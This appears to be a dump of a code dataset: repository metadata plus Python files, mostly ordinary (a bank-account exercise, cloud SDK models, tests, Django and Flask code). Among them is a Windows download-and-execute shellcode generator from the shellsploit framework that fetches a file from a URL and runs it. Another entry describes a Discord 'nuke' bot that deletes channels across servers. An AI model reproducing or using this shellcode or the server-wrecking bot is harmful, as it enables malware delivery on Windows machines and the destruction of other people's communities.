hexsha
stringlengths
40
40
size
int64
1
1.03M
ext
stringclasses
10 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
3
239
max_stars_repo_name
stringlengths
5
130
max_stars_repo_head_hexsha
stringlengths
40
78
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
3
239
max_issues_repo_name
stringlengths
5
130
max_issues_repo_head_hexsha
stringlengths
40
78
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
67k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
3
239
max_forks_repo_name
stringlengths
5
130
max_forks_repo_head_hexsha
stringlengths
40
78
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
1
1.03M
avg_line_length
float64
1
958k
max_line_length
int64
1
1.03M
alphanum_fraction
float64
0
1
795512f209b60bc171b0325ca60273e1b3c8c348
2,807
py
Python
class12pythoncbse-master/Chapter 5/Question2.py
SubrataSarkar32/college3rdsem3035
5cb501d0bf3742029121076cb7a2affa97d2a13b
[ "Apache-2.0" ]
null
null
null
class12pythoncbse-master/Chapter 5/Question2.py
SubrataSarkar32/college3rdsem3035
5cb501d0bf3742029121076cb7a2affa97d2a13b
[ "Apache-2.0" ]
null
null
null
class12pythoncbse-master/Chapter 5/Question2.py
SubrataSarkar32/college3rdsem3035
5cb501d0bf3742029121076cb7a2affa97d2a13b
[ "Apache-2.0" ]
null
null
null
class Account: def __init__(self,custn,accno,opba): self.custn=custn self.accno=accno self.opba=opba self.aopen=opba class Current(Account): def __init__(self): custname=raw_input('Enter customer name: ') accno=input('Enter customer account number: ') opba...
32.639535
78
0.598147
7955134bc098c2d1bd913177f240789ebb8a6a73
6,736
py
Python
src/oci/cloud_guard/models/update_security_recipe_details.py
pabs3/oci-python-sdk
437ba18ce39af2d1090e277c4bb8750c89f83021
[ "Apache-2.0", "BSD-3-Clause" ]
null
null
null
src/oci/cloud_guard/models/update_security_recipe_details.py
pabs3/oci-python-sdk
437ba18ce39af2d1090e277c4bb8750c89f83021
[ "Apache-2.0", "BSD-3-Clause" ]
null
null
null
src/oci/cloud_guard/models/update_security_recipe_details.py
pabs3/oci-python-sdk
437ba18ce39af2d1090e277c4bb8750c89f83021
[ "Apache-2.0", "BSD-3-Clause" ]
null
null
null
# coding: utf-8 # Copyright (c) 2016, 2022, Oracle and/or its affiliates. All rights reserved. # This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may c...
33.182266
245
0.658254
795514397302ff659db956bc26c7e2e2a46ac642
6,101
py
Python
main.py
Videro1407/nuke-bot
4b327bdebab6993cb332cc295073dd8e67a93ce0
[ "MIT" ]
5
2021-02-17T14:56:38.000Z
2022-02-28T01:58:03.000Z
main.py
Videro1407/nuke-bot
4b327bdebab6993cb332cc295073dd8e67a93ce0
[ "MIT" ]
null
null
null
main.py
Videro1407/nuke-bot
4b327bdebab6993cb332cc295073dd8e67a93ce0
[ "MIT" ]
4
2021-04-10T11:52:22.000Z
2022-02-26T15:02:15.000Z
# -*- coding: utf-8 -*- """ - Usage of this bot is not at all recommended as its against the Terms of Service of discord. - Your account may get banned if you use this bot. - You can still make an alt account if you are that desperate. - The bot requires `Manage Channels` permission in every server. - Deletes (or at l...
47.294574
124
0.556466
7955144ef8586cd58e0b4b975da9f9f5849f5385
1,927
py
Python
setup.py
gebn/chandl
0518207e66c0dfb9c64e34b41d45e87b701437bd
[ "MIT" ]
5
2017-02-02T21:07:51.000Z
2021-02-16T18:34:16.000Z
setup.py
gebn/chandl
0518207e66c0dfb9c64e34b41d45e87b701437bd
[ "MIT" ]
14
2016-11-29T00:36:04.000Z
2018-04-05T20:09:02.000Z
setup.py
gebn/chandl
0518207e66c0dfb9c64e34b41d45e87b701437bd
[ "MIT" ]
1
2017-02-02T21:07:38.000Z
2017-02-02T21:07:38.000Z
# -*- coding: utf-8 -*- from __future__ import unicode_literals from setuptools import setup, find_packages import codecs import chandl def _read_file(name, encoding='utf-8'): """ Read the contents of a file. :param name: The name of the file in the current directory. :param encoding: The encoding o...
28.338235
80
0.594707
7955147a7382577cd1e4eae4e819330640885547
723
py
Python
8_Cloudrip_Mountain/440-Resource_Valleys/resource_valley.py
katitek/Code-Combat
fbda1ac0ae4a2e2cbfce21492a2caec8098f1bef
[ "MIT" ]
null
null
null
8_Cloudrip_Mountain/440-Resource_Valleys/resource_valley.py
katitek/Code-Combat
fbda1ac0ae4a2e2cbfce21492a2caec8098f1bef
[ "MIT" ]
null
null
null
8_Cloudrip_Mountain/440-Resource_Valleys/resource_valley.py
katitek/Code-Combat
fbda1ac0ae4a2e2cbfce21492a2caec8098f1bef
[ "MIT" ]
null
null
null
def commandPeasant(peasant, coins): coin = peasant.findNearest(coins) if coin: hero.command(peasant, "move", coin.pos) friends = hero.findFriends() peasants = { "Aurum": friends[0], "Argentum":friends[1], "Cuprum":friends[2] } while True: items = hero.findItems() goldCoins = []; ...
24.931034
50
0.618257
795514803fcf962e8a3da1e0ce1ddb9532605ffe
106
py
Python
yc154/445.py
c-yan/yukicoder
cdbbd65402177225dd989df7fe01f67908484a69
[ "MIT" ]
null
null
null
yc154/445.py
c-yan/yukicoder
cdbbd65402177225dd989df7fe01f67908484a69
[ "MIT" ]
null
null
null
yc154/445.py
c-yan/yukicoder
cdbbd65402177225dd989df7fe01f67908484a69
[ "MIT" ]
null
null
null
def f(N, K): return 50 * N + 500 * N // (8 + 2 * K) A, B = map(int, input().split()) print(f(A, B))
15.142857
42
0.45283
7955151e1396190c6d41fd42bcfc18be1575cf68
1,875
py
Python
shell/database/Windows/downloadandexecute.py
vasco2016/shellsploit-framework
04eb4a0449acaba0b70c40a78c61a0d5e2527406
[ "MIT" ]
61
2017-06-13T13:48:38.000Z
2022-03-02T17:43:45.000Z
shell/database/Windows/downloadandexecute.py
security-geeks/shellsploit-framework
93b66ab9361872697eafda2125b37005f49116be
[ "MIT" ]
null
null
null
shell/database/Windows/downloadandexecute.py
security-geeks/shellsploit-framework
93b66ab9361872697eafda2125b37005f49116be
[ "MIT" ]
28
2017-08-15T05:38:27.000Z
2020-12-31T03:39:38.000Z
#https://packetstormsecurity.com/files/119812/Allwin-URLDownloadToFile-WinExec-ExitProcess-Shellcode.html #Author: RubberDuck #WORK def downANDexecute( URL,FILENAME): shellcode = r"\x33\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B" shellcode += r"\x70\x14\xAD\x96\xAD\x8B\x58\x10\x8B\x53" shellcode += r"\x3C\x03\x...
46.875
105
0.666667
795515589bd4688da923bb7a753aa2e0741502b1
1,348
py
Python
problems/p008.py
tshralper/tabula-rasa_project-euler
3eb924ae4a38d877098f6b8f8e1118f8ae3514e2
[ "MIT" ]
3
2018-08-15T18:50:35.000Z
2018-08-15T19:04:46.000Z
problems/p008.py
tshralper/tabula-rasa_project-euler
3eb924ae4a38d877098f6b8f8e1118f8ae3514e2
[ "MIT" ]
null
null
null
problems/p008.py
tshralper/tabula-rasa_project-euler
3eb924ae4a38d877098f6b8f8e1118f8ae3514e2
[ "MIT" ]
1
2018-08-15T18:50:46.000Z
2018-08-15T18:50:46.000Z
#The four adjacent digits in the 1000-digit number that have # the greatest product are 9 × 9 × 8 × 9 = 5832. # # 73167176531330624919225119674426574742355349194934 # 96983520312774506326239578318016984801869478851843 # 85861560789112949495459501737958331952853208805511 # 12540698747158523863050715693290963295...
46.482759
61
0.875371
79551697004dbde40f969c8d977a279af9045eb3
7,706
py
Python
vespene/workers/daemon.py
Conan-Kudo/vespene
9e9977523f45586e1326ccd77d8cc0cb10591a07
[ "Apache-2.0" ]
680
2018-10-29T12:12:10.000Z
2019-04-27T09:52:58.000Z
vespene/workers/daemon.py
Conan-Kudo/vespene
9e9977523f45586e1326ccd77d8cc0cb10591a07
[ "Apache-2.0" ]
110
2018-10-29T12:33:34.000Z
2019-02-14T02:31:43.000Z
vespene/workers/daemon.py
Conan-Kudo/vespene
9e9977523f45586e1326ccd77d8cc0cb10591a07
[ "Apache-2.0" ]
92
2018-10-29T12:21:12.000Z
2019-06-08T11:08:08.000Z
# Copyright 2018, Michael DeHaan LLC # License: Apache License Version 2.0 # ------------------------------------------------------------------------- # daemon.py - this is the main entry point for each worker process. It # doesn't fork. The build will periodically check to see if it is flagged # as one that shou...
35.675926
132
0.522969
795516a21bc2d4bd31c9e1552ab0cbb2fe374c8a
1,755
py
Python
models/MatrixFct.py
Rigel-Everlasting/ID2211DataMining
44f6038fee91a124a5f1ebed4d100fae2af2ec0e
[ "MIT" ]
null
null
null
models/MatrixFct.py
Rigel-Everlasting/ID2211DataMining
44f6038fee91a124a5f1ebed4d100fae2af2ec0e
[ "MIT" ]
null
null
null
models/MatrixFct.py
Rigel-Everlasting/ID2211DataMining
44f6038fee91a124a5f1ebed4d100fae2af2ec0e
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding:utf-8 -*- # @author: JamieJ # @license: Apache Licence # @file: MatrixFct.py # @time: 2021/05/10 # @contact: mingj@kth,se # @software: PyCharm # May the Force be with you. from Data import * import numpy as np from scipy.sparse import coo_matrix from scipy import sparse from torch.nn...
33.75
98
0.689459
795518ab2fc803f4ba31f8dc696f97b405f6dbda
22,207
py
Python
tests/test_expect.py
AlexThurston/pexpect
c694853403716ace2754cc1e039bf35ecdc17db6
[ "0BSD" ]
null
null
null
tests/test_expect.py
AlexThurston/pexpect
c694853403716ace2754cc1e039bf35ecdc17db6
[ "0BSD" ]
null
null
null
tests/test_expect.py
AlexThurston/pexpect
c694853403716ace2754cc1e039bf35ecdc17db6
[ "0BSD" ]
null
null
null
#!/usr/bin/env python ''' PEXPECT LICENSE This license is approved by the OSI and FSF as GPL-compatible. http://opensource.org/licenses/isc-license.txt Copyright (c) 2012, Noah Spurrier <noah@noah.org> PERMISSION TO USE, COPY, MODIFY, AND/OR DISTRIBUTE THIS SOFTWARE FOR ANY PURPOSE WITH OR WIT...
36.827529
159
0.570226
795518ab8b585c9ecd2d51b20a561639c2251386
4,650
py
Python
models/language_translation/tensorflow/transformer_mlperf/training/fp32/transformer/compute_bleu.py
yangw1234/models-1
7e7f484f4f22c760f9a5af836f57a3602b4fa7a6
[ "Apache-2.0" ]
357
2019-01-23T23:54:30.000Z
2022-03-31T05:32:25.000Z
models/language_translation/tensorflow/transformer_mlperf/training/fp32/transformer/compute_bleu.py
yangw1234/models-1
7e7f484f4f22c760f9a5af836f57a3602b4fa7a6
[ "Apache-2.0" ]
65
2019-02-06T15:35:35.000Z
2022-03-25T09:56:48.000Z
models/language_translation/tensorflow/transformer_mlperf/training/fp32/transformer/compute_bleu.py
yangw1234/models-1
7e7f484f4f22c760f9a5af836f57a3602b4fa7a6
[ "Apache-2.0" ]
164
2019-02-06T15:05:57.000Z
2022-03-31T11:48:14.000Z
# Copyright 2018 MLBenchmark Group. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable l...
36.328125
88
0.696559
795518c97aab9e1a01e938e0e77af6a8f762ca08
1,168
py
Python
cpu.py
ArkAngeL43/cpu-info
d7da58718ca7ea85174e321e870a085856154184
[ "MIT" ]
null
null
null
cpu.py
ArkAngeL43/cpu-info
d7da58718ca7ea85174e321e870a085856154184
[ "MIT" ]
null
null
null
cpu.py
ArkAngeL43/cpu-info
d7da58718ca7ea85174e321e870a085856154184
[ "MIT" ]
null
null
null
import os import sys import psutil import colorama import time from colorama import Fore, Back, Style os.system(' clear ') print(":::::::::::::::::::::::::::::::::::::") time.sleep(0.1) print(": Created and designed by Ark Angel :") time.sleep(0.1) print(":::::::::::::::::::::::::::::::::::::") time.sleep(0.1) print...
34.352941
76
0.550514
795518d398345f195888040b978ddfa27f016074
3,375
py
Python
dace/frontend/tensorflow/transformations/redundant_array.py
tobiasholenstein/dace
38fb56d12b59aa8dfe8bb1ff0068e29c5c75efc9
[ "BSD-3-Clause" ]
null
null
null
dace/frontend/tensorflow/transformations/redundant_array.py
tobiasholenstein/dace
38fb56d12b59aa8dfe8bb1ff0068e29c5c75efc9
[ "BSD-3-Clause" ]
null
null
null
dace/frontend/tensorflow/transformations/redundant_array.py
tobiasholenstein/dace
38fb56d12b59aa8dfe8bb1ff0068e29c5c75efc9
[ "BSD-3-Clause" ]
null
null
null
# Copyright 2019-2020 ETH Zurich and the DaCe authors. All rights reserved. """ Contains classes that implement a redundant array removal transformation. """ from dace.sdfg import nodes from dace.sdfg import utils as sdutil from dace.transformation import transformation as pm from dace.config import Config class Ten...
35.904255
79
0.634963
795519b0009eaed7f52a53feaa0252dfd6272861
1,170
py
Python
docs/source/quickstart.py
Mause/pytransperth
411c6a38b8451dc917927bdc4fdb70aeb9acd52b
[ "MIT" ]
null
null
null
docs/source/quickstart.py
Mause/pytransperth
411c6a38b8451dc917927bdc4fdb70aeb9acd52b
[ "MIT" ]
null
null
null
docs/source/quickstart.py
Mause/pytransperth
411c6a38b8451dc917927bdc4fdb70aeb9acd52b
[ "MIT" ]
null
null
null
import os import sys sys.path.insert( 0, os.path.join(os.path.dirname(__file__), '..', '..') ) # create the Location object you wish to resolve; from transperth.jp.location import ( Location, ResolvedLocation, determine_location ) from_location = Location.from_location('Curtin University, Perth')...
24.893617
71
0.733333
79551a233b77fd2cb307c95dfa9a31e792ffa8bb
667
py
Python
coursework2/task3/combiner_2.py
foundnet/UOE_EP_coursework1
25ab8ff2beaa4fbde5a0d4519abb84d8e43cf9d8
[ "Apache-2.0" ]
null
null
null
coursework2/task3/combiner_2.py
foundnet/UOE_EP_coursework1
25ab8ff2beaa4fbde5a0d4519abb84d8e43cf9d8
[ "Apache-2.0" ]
null
null
null
coursework2/task3/combiner_2.py
foundnet/UOE_EP_coursework1
25ab8ff2beaa4fbde5a0d4519abb84d8e43cf9d8
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/python import sys cur_ids = "" cur_cnt = 0 cur_uid = "" for line in sys.stdin: str_uid,str_cnt,str_ids = line.split("\t",2) str_uid = str_uid.strip() str_cnt = str_cnt.strip() str_ids = str_ids.strip() if str_uid == "" or str_ids == "": continue if str_uid != cur_uid: ...
22.233333
64
0.547226
79551b1c329e55581fd53fc00f1d907e09c97fe2
3,344
py
Python
nova/api/openstack/compute/contrib/flavormanage.py
bopopescu/nova-33
6d3cf9010a45edb16f28b2582eafe35666381d1f
[ "Apache-2.0" ]
1
2019-11-06T12:21:59.000Z
2019-11-06T12:21:59.000Z
nova/api/openstack/compute/contrib/flavormanage.py
bopopescu/nova-33
6d3cf9010a45edb16f28b2582eafe35666381d1f
[ "Apache-2.0" ]
null
null
null
nova/api/openstack/compute/contrib/flavormanage.py
bopopescu/nova-33
6d3cf9010a45edb16f28b2582eafe35666381d1f
[ "Apache-2.0" ]
2
2019-12-23T18:06:28.000Z
2020-07-24T08:44:28.000Z
# vim: tabstop=4 shiftwidth=4 softtabstop=4 # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable...
34.474227
79
0.668062
79551c683cbf26a998989f21ef12f4f391065232
3,749
py
Python
app/models.py
brianngichu/pitches
d113fd851b3c6da3fab1f7e5774bc373f3d59f26
[ "MIT" ]
null
null
null
app/models.py
brianngichu/pitches
d113fd851b3c6da3fab1f7e5774bc373f3d59f26
[ "MIT" ]
null
null
null
app/models.py
brianngichu/pitches
d113fd851b3c6da3fab1f7e5774bc373f3d59f26
[ "MIT" ]
null
null
null
from . import db, login_manager from werkzeug.security import generate_password_hash,check_password_hash from flask_login import UserMixin @login_manager.user_loader def load_user(user_id): return User.query.get(int(user_id)) #User class class User(UserMixin, db.Model): __tablename__ = 'users' id = db.Col...
32.6
101
0.670846
79551d1e2e8b3826bda7e6b578fc2d4f7809a543
224
py
Python
src/11/simple_communication_between_interpreters/echoclient.py
tuanavu/python-gitbook
948a05e065b0f40afbfd22f697dff16238163cde
[ "MIT" ]
14
2017-05-20T04:06:46.000Z
2022-01-23T06:48:45.000Z
src/11/simple_communication_between_interpreters/echoclient.py
tuanavu/python-gitbook
948a05e065b0f40afbfd22f697dff16238163cde
[ "MIT" ]
1
2021-06-10T20:17:55.000Z
2021-06-10T20:17:55.000Z
src/11/simple_communication_between_interpreters/echoclient.py
tuanavu/python-gitbook
948a05e065b0f40afbfd22f697dff16238163cde
[ "MIT" ]
15
2017-03-29T17:57:33.000Z
2021-08-24T02:20:08.000Z
from multiprocessing.connection import Client c = Client(('localhost', 25000), authkey=b'peekaboo') c.send('hello') print('Got:', c.recv()) c.send(42) print('Got:', c.recv()) c.send([1, 2, 3, 4, 5]) print('Got:', c.recv())
22.4
53
0.642857
79551d6e70816185307a12a6ed9a28ab4a860c3b
3,839
py
Python
skbio/maths/stats/distance/tests/test_permanova.py
Jorge-C/bipy
1097cefafc6f9bbb9d96f25b569892a3fe3f3600
[ "BSD-3-Clause" ]
null
null
null
skbio/maths/stats/distance/tests/test_permanova.py
Jorge-C/bipy
1097cefafc6f9bbb9d96f25b569892a3fe3f3600
[ "BSD-3-Clause" ]
null
null
null
skbio/maths/stats/distance/tests/test_permanova.py
Jorge-C/bipy
1097cefafc6f9bbb9d96f25b569892a3fe3f3600
[ "BSD-3-Clause" ]
1
2018-09-21T01:58:43.000Z
2018-09-21T01:58:43.000Z
#! /usr/bin/env python # ---------------------------------------------------------------------------- # Copyright (c) 2013--, scikit-bio development team. # # Distributed under the terms of the Modified BSD License. # # The full license is in the file COPYING.txt, distributed with this software. # --------------------...
38.777778
78
0.545715
795520740f095dac13b6bbb72ecd49be231df0bc
7,693
py
Python
src/py4geo/populate/tools.py
manuelep/py4geo
ad1b25f89b2f254d7270d05123fb3e6cb91186a9
[ "Apache-2.0" ]
null
null
null
src/py4geo/populate/tools.py
manuelep/py4geo
ad1b25f89b2f254d7270d05123fb3e6cb91186a9
[ "Apache-2.0" ]
null
null
null
src/py4geo/populate/tools.py
manuelep/py4geo
ad1b25f89b2f254d7270d05123fb3e6cb91186a9
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- from ..common import logger from .optutils.base import Turbo from . import io import json import osm2geojson from ..tools.tile import Bbox # from .tile import boxtiles from tqdm import tqdm from sys import stdout, getsizeof #, _getframe from mptools.dataformat import smartbytes import geojson ...
30.649402
111
0.564929
795520b881b7da8f5dcfa058c1d4da6a931e396c
1,254
py
Python
Day4.1.py
m-berk/AdventOfCode2019
73a930fc24a726186364923fc0575c84e19176af
[ "MIT" ]
1
2021-06-16T07:34:30.000Z
2021-06-16T07:34:30.000Z
Day4.1.py
m-berk/AdventOfCode2019
73a930fc24a726186364923fc0575c84e19176af
[ "MIT" ]
null
null
null
Day4.1.py
m-berk/AdventOfCode2019
73a930fc24a726186364923fc0575c84e19176af
[ "MIT" ]
2
2020-09-03T07:47:52.000Z
2021-02-04T21:07:40.000Z
def getNumb(Arr): return 100000*Arr[0]+10000*Arr[1]+1000*Arr[2]+100*Arr[3]+10*Arr[4]+Arr[5] rangeStart = 367479 rangeFinish =893698 Array=[] Array.append(3) Array.append(6) Array.append(7) Array.append(4) Array.append(7) Array.append(9) Lim=[] Lim.append(8) Lim.append(9) Lim.append(3) Lim...
25.591837
78
0.455343
795520e3eee84953c12d47393ff3ccd2ce4092b9
8,261
py
Python
renku/service/serializers/cache.py
almutlue/renku-python
84b6d0f448161f33a3caa1b9631ae47840d648c6
[ "Apache-2.0" ]
null
null
null
renku/service/serializers/cache.py
almutlue/renku-python
84b6d0f448161f33a3caa1b9631ae47840d648c6
[ "Apache-2.0" ]
null
null
null
renku/service/serializers/cache.py
almutlue/renku-python
84b6d0f448161f33a3caa1b9631ae47840d648c6
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # # Copyright 2020 - Swiss Data Science Center (SDSC) # A partnership between École Polytechnique Fédérale de Lausanne (EPFL) and # Eidgenössische Technische Hochschule Zürich (ETHZ). # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compli...
30.596296
87
0.702094
795521a501638724f923e2b6927c56510c9ebf97
2,940
py
Python
benchmark_params.py
adarsh-kr/CVModelsBenchmark
85aeb76c7c796d86baa97e1272aea83d734665b5
[ "MIT" ]
null
null
null
benchmark_params.py
adarsh-kr/CVModelsBenchmark
85aeb76c7c796d86baa97e1272aea83d734665b5
[ "MIT" ]
null
null
null
benchmark_params.py
adarsh-kr/CVModelsBenchmark
85aeb76c7c796d86baa97e1272aea83d734665b5
[ "MIT" ]
null
null
null
'''Train CIFAR10 with PyTorch.''' import torch import torch.nn as nn import torch.optim as optim import torch.nn.functional as F import torch.backends.cudnn as cudnn import torchvision import torchvision.transforms as transforms import os import argparse from models import * from utils import progress_bar import sta...
30.625
108
0.707823
795521b0c9fb42d0a0805621d1b8668cd72ec501
3,171
py
Python
stixy/accounting/admin.py
AnthonyKenny98/Stixy
5d6dd38cc590d28dc98cca2737bbacf4f1ec69ba
[ "MIT" ]
null
null
null
stixy/accounting/admin.py
AnthonyKenny98/Stixy
5d6dd38cc590d28dc98cca2737bbacf4f1ec69ba
[ "MIT" ]
7
2021-03-19T03:10:21.000Z
2021-09-22T19:00:19.000Z
stixy/accounting/admin.py
AnthonyKenny98/Stixy
5d6dd38cc590d28dc98cca2737bbacf4f1ec69ba
[ "MIT" ]
null
null
null
"""Admin Settings for Accounting App.""" from django.contrib import admin from django.forms.models import BaseInlineFormSet # Register your models here. from .models import AccountClass, AccountGroup, \ Account, SubAccount, BankAccount, Transaction, Entry from django.core.exceptions import ValidationError class...
29.915094
88
0.654998
795521d5f9db61a35305b69ed8d9c98546bf0698
394
py
Python
onlinejudge/__about__.py
beet-aizu/api-client
5d026051ac51477f29dc714e9f8a72f7a7f72ace
[ "MIT" ]
null
null
null
onlinejudge/__about__.py
beet-aizu/api-client
5d026051ac51477f29dc714e9f8a72f7a7f72ace
[ "MIT" ]
null
null
null
onlinejudge/__about__.py
beet-aizu/api-client
5d026051ac51477f29dc714e9f8a72f7a7f72ace
[ "MIT" ]
null
null
null
# Python Version: 3.x __package_name__ = 'online-judge-api-client' __author__ = 'Kimiyuki Onaka' __email__ = 'kimiyuki95@gmail.com' __license__ = 'MIT License' __url__ = 'https://github.com/online-judge-tools/api-client' __version_info__ = (10, 2, 0, 'final', 0) __version__ = '.'.join(map(str, __version_info__[:3])) __...
39.4
75
0.748731
795523c3a9feb0baeab29cca34135f2ddfcf25e4
1,149
py
Python
dedupe/tfidf.py
neozhangthe1/dedupe
aff99e6bd027291eecfb78eae08aa73877f4fff0
[ "MIT" ]
null
null
null
dedupe/tfidf.py
neozhangthe1/dedupe
aff99e6bd027291eecfb78eae08aa73877f4fff0
[ "MIT" ]
null
null
null
dedupe/tfidf.py
neozhangthe1/dedupe
aff99e6bd027291eecfb78eae08aa73877f4fff0
[ "MIT" ]
null
null
null
#!/usr/bin/python # -*- coding: utf-8 -*- import logging from .index import CanopyIndex import collections import itertools logger = logging.getLogger(__name__) class TfIdfIndex(object) : def __init__(self, stop_words=[]) : self._index = CanopyIndex(stop_words) try : # py 2 self._doc...
25.533333
82
0.613577
795523efe2f0cd6c09760ff4c088a56a2154ba3c
823
py
Python
alipay/aop/api/response/AlipayAssetPointVoucherprodBenefittemplateOfflineResponse.py
antopen/alipay-sdk-python-all
8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c
[ "Apache-2.0" ]
213
2018-08-27T16:49:32.000Z
2021-12-29T04:34:12.000Z
alipay/aop/api/response/AlipayAssetPointVoucherprodBenefittemplateOfflineResponse.py
antopen/alipay-sdk-python-all
8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c
[ "Apache-2.0" ]
29
2018-09-29T06:43:00.000Z
2021-09-02T03:27:32.000Z
alipay/aop/api/response/AlipayAssetPointVoucherprodBenefittemplateOfflineResponse.py
antopen/alipay-sdk-python-all
8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c
[ "Apache-2.0" ]
59
2018-08-27T16:59:26.000Z
2022-03-25T10:08:15.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- import json from alipay.aop.api.response.AlipayResponse import AlipayResponse class AlipayAssetPointVoucherprodBenefittemplateOfflineResponse(AlipayResponse): def __init__(self): super(AlipayAssetPointVoucherprodBenefittemplateOfflineResponse, self).__init__...
31.653846
130
0.752126
79552494a25c942a8c5b6dba2804a5c162a8a297
145
py
Python
FlaskApp/filters.py
tulare/FlaskSMS
e9b9261399a6c06e073555f9b708574a406a1931
[ "MIT" ]
null
null
null
FlaskApp/filters.py
tulare/FlaskSMS
e9b9261399a6c06e073555f9b708574a406a1931
[ "MIT" ]
null
null
null
FlaskApp/filters.py
tulare/FlaskSMS
e9b9261399a6c06e073555f9b708574a406a1931
[ "MIT" ]
1
2020-12-02T07:42:33.000Z
2020-12-02T07:42:33.000Z
# -*- encoding: utf-8 -*- from datetime import datetime from . import app @app.template_filter('now') def f_now(s) : return datetime.now()
16.111111
29
0.675862
795526808989e080a313c95b5258c7aaa4e2dcaf
280
py
Python
pydex/core/logger.py
KennedyPutraKusumo/py-DED
c5742c29cae66542960060f19d65b446d532b477
[ "MIT" ]
2
2020-05-19T14:06:41.000Z
2021-09-09T16:11:53.000Z
pydex/core/logger.py
KennedyPutraKusumo/py-DED
c5742c29cae66542960060f19d65b446d532b477
[ "MIT" ]
2
2020-04-28T02:36:36.000Z
2021-08-23T09:36:13.000Z
pydex/core/logger.py
KennedyPutraKusumo/py-DED
c5742c29cae66542960060f19d65b446d532b477
[ "MIT" ]
2
2020-10-10T18:43:27.000Z
2020-11-22T19:41:05.000Z
import sys class Logger(object): def __init__(self, file_path): self.terminal = sys.stdout self.log = open(file_path, "a") def write(self, message): self.terminal.write(message) self.log.write(message) def flush(self): pass
18.666667
39
0.607143
79552722dbb8de896108c79732e3961101e1719f
3,696
py
Python
main/application.py
metworkbot/github_organization_dashboard
34bd70187a2970241523ccbe65c7c6cd0b293fb1
[ "BSD-3-Clause" ]
null
null
null
main/application.py
metworkbot/github_organization_dashboard
34bd70187a2970241523ccbe65c7c6cd0b293fb1
[ "BSD-3-Clause" ]
null
null
null
main/application.py
metworkbot/github_organization_dashboard
34bd70187a2970241523ccbe65c7c6cd0b293fb1
[ "BSD-3-Clause" ]
null
null
null
import os import jinja2 import aiohttp_jinja2 import aiohttp_github_helpers as h from aiohttp import web, ClientSession, BasicAuth, ClientTimeout DRONE_SERVER = os.environ['DRONE_SERVER'] DRONE_TOKEN = os.environ['DRONE_TOKEN'] TOPICS = ["integration-level-5", "integration-level-4", "integration-level-3", "i...
40.615385
78
0.525162
795529827bc4dedd1815105a54c16b03c0516c67
5,089
py
Python
apps/authentication/admin.py
Nicolaad/onlineweb4
5942eaf907d6824d5384147627def9edefdb9946
[ "MIT" ]
null
null
null
apps/authentication/admin.py
Nicolaad/onlineweb4
5942eaf907d6824d5384147627def9edefdb9946
[ "MIT" ]
null
null
null
apps/authentication/admin.py
Nicolaad/onlineweb4
5942eaf907d6824d5384147627def9edefdb9946
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- from django.contrib import admin from django.contrib.auth.admin import UserAdmin from django.utils.translation import ugettext as _ from reversion.admin import VersionAdmin from apps.authentication.models import ( AllowedUsername, Email, GroupMember, GroupRole, OnlineGroup,...
27.360215
88
0.599528
795529cde049769e04b456e02a807a6f78f8c7fc
519
py
Python
var/spack/repos/builtin/packages/sparsehash/package.py
whitfin/spack
aabd2be31a511d0e00c1017f7311a421659319d9
[ "ECL-2.0", "Apache-2.0", "MIT" ]
3
2019-06-27T13:26:50.000Z
2019-07-01T16:24:54.000Z
var/spack/repos/builtin/packages/sparsehash/package.py
openbiox/spack
bb6ec7fb40c14b37e094a860e3625af53f633174
[ "ECL-2.0", "Apache-2.0", "MIT" ]
75
2016-07-27T11:43:00.000Z
2020-12-08T15:56:53.000Z
var/spack/repos/builtin/packages/sparsehash/package.py
openbiox/spack
bb6ec7fb40c14b37e094a860e3625af53f633174
[ "ECL-2.0", "Apache-2.0", "MIT" ]
8
2015-10-16T13:51:49.000Z
2021-10-18T13:58:03.000Z
# Copyright 2013-2019 Lawrence Livermore National Security, LLC and other # Spack Project Developers. See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: (Apache-2.0 OR MIT) from spack import * class Sparsehash(AutotoolsPackage): """Sparse and dense hash-tables for C++ by Google""" hom...
34.6
89
0.736031
795529f53576d940b3a836437e26d5f72856e6b7
138
py
Python
flight_control/flight/admin.py
kenware/flight-api
adfa6f320b6c5bd9830bfb7c3c947028acf39e23
[ "MIT" ]
null
null
null
flight_control/flight/admin.py
kenware/flight-api
adfa6f320b6c5bd9830bfb7c3c947028acf39e23
[ "MIT" ]
10
2019-08-06T02:06:53.000Z
2022-02-10T11:16:37.000Z
flight_control/flight/admin.py
kenware/flight-api
adfa6f320b6c5bd9830bfb7c3c947028acf39e23
[ "MIT" ]
null
null
null
from django.contrib import admin from flight_control.flight.models import Flight # Register your models here. admin.site.register(Flight)
27.6
47
0.833333
79552a7ff5a6c3baacd18824754627e8e783b69b
7,711
py
Python
great_expectations/expectations/core/expect_column_values_to_be_json_parseable.py
alecsaunders/great_expectations
